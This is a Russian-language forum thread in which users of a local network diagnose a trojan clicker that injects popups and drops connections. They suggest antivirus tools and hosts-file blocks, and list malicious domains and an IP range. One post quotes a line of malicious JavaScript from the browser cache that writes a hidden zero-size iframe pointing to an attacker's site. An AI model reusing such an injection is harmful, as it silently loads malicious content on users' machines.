Вобщем со вчерашнего вечера, начила вылазить такая хрень

Ставил НОД, Каспера и Аваст, ниче не нашли. Проблема ослажняется еще и тем что пропадает подключение к интернету, либо же очень сильно падает. Такое окно выскакивает со всеми интренет браузерами, и просходит увеличение шрифта.

Вобщем вопрос, как это лечить, и может это заражен кто-то в локалке?

Файлик \system32\drivers\etc\hosts в порядке?

Файлик \system32\drivers\etc\hosts в порядке?

Так должно быть ?

up

Теперь еще и инет прорадать начал на 5 минут. У кого-нибудь есть хоть какие-то идеи? И спасет ли форматирование ситуация, а то просто так делать неохота.

У каспы этот же вирус называеться Trojan-Clicker.HTML.IFrame.wq

С большой долей вероятности вам поможет программа Malwarebytes’ Anti-Malware (установщик в прицепе, после установки обновите базу!). Подробнее на http://www.spyware-ru.com/

mbam_setup.zip

HiJackThis попробовали уже?

Да, ничего такого не было, правда пару host-ов было. Знал бы как эта зараза выглядит, побыстрее бы пошло дело)

Вчера 1 раз нод сообщал об этом трояне (и тоже временно отпадала сеть), с тех пор все тихо.

Сейчас немного поразбирался в ситуации: HiJack, Trojan Remover, CureIt и Nod ничего подобного не обнаружили. Единственный небольшой найденный след - в кэше оперы:

по логам нода бяка была обнаружена в файле opr000M7.htm. Файл отсутствует - предположительно, был удален сразу после своего появления. Посмотрел соседние: интерес представил opr000M4.js (оригинальный адрес http://ads.vk987.info/vip.js) С JS не знаком, но в коде встречается

document.writeln("document.write(\'<iframe width=0 height=0 src=\"http://ads.vk987.info/index.htm\"><\/iframe>\');");

Предполагаю, что оно мне и загружало htm-ку..

Max8i, так что в поисках можешь опираться еще на vip.js

 

upd:

погуглил, и

И спасет ли форматирование ситуация, а то просто так делать неохота.

Не спасет

Снес полностью систему, форматнул винт - даже не успел все драйвера поставить - опять та же фигня!

из темы на форуме Касперского. Пока дальше читаю тему..

Aleks87,нашел вот такую темку http://forum.kaspersky.com/index.php?showt...rt=#entry778079. Вечером прийду, время будет, прочитаю, отпишусь. Если найдешь что-нибудь интересное, пиши.

Aleks87,нашел вот такую темку http://forum.kaspersky.com/index.php?showt...rt=#entry778079. Вечером прийду, время будет, прочитаю, отпишусь. Если найдешь что-нибудь интересное, пиши.

Я из этой же темы цитировал сообщение :)

Итак, вирус совершенно необязательно находится на компе. В большинстве случаев его и нет у пользователя. А приходит он из сети (с других зараженных компов) и блокируется. Приходит и блокируется ... и т.д.

Решение: отрубание от сети зараженных компов и подключение только после того, как вылечатся и поставят защиту. Надо идти к админам (в нашем случае НГУ-шным).. чувствуется, Легионеру хватит работы на ближайшие дни..

 

upd еще варианты:

1) со стороны админов - забанить эту китайскую сеть (122.224.4.0 - 122.224.7.255), с которой все идет, на прокси

2) со стороны простых смертных :) - не использовать автоконфигурацию прокси, а вирусный адрес (122.224.4.140 = ads.vk987.info = ban.ads2008.info) или по возможности всю сеть записать в локальные :)

Изменено 15 октября, 200817 г. пользователем Aleks87

А да, забыл, что это академ.орг-ский форум, а не студенческий НГУ...

Max8i предложил хороший способ (у него почему-то не работает, хотя, по-моему, должен): добавить в hosts ads.vk987.info и ban.ads2008.info как 127.0.0.1

AtGuard Вам в помощь. Была та же фигня с моим компом. атгуард помог.

AtGuard Вам в помощь. Была та же фигня с моим компом. атгуард помог.

реально помогло, добавлением в АтГварда нужного адреса, но напрочь перестала грузиться локалка, media.academ.org теперь грузится только до шапки, ниже не хочет, а во вне все грузится, что это может быть? в АтГварде не нашел никаких блоков на местные сервера и настройки на них...

 

прописал в хостах:

 

127.0.0.1 do.qwertyy.cn

 

проблема решилась

прописал в хостах:

 

127.0.0.1 do.qwertyy.cn

 

проблема решилась

Проблема не решиться, я уже писал этот метод в самых первых постах.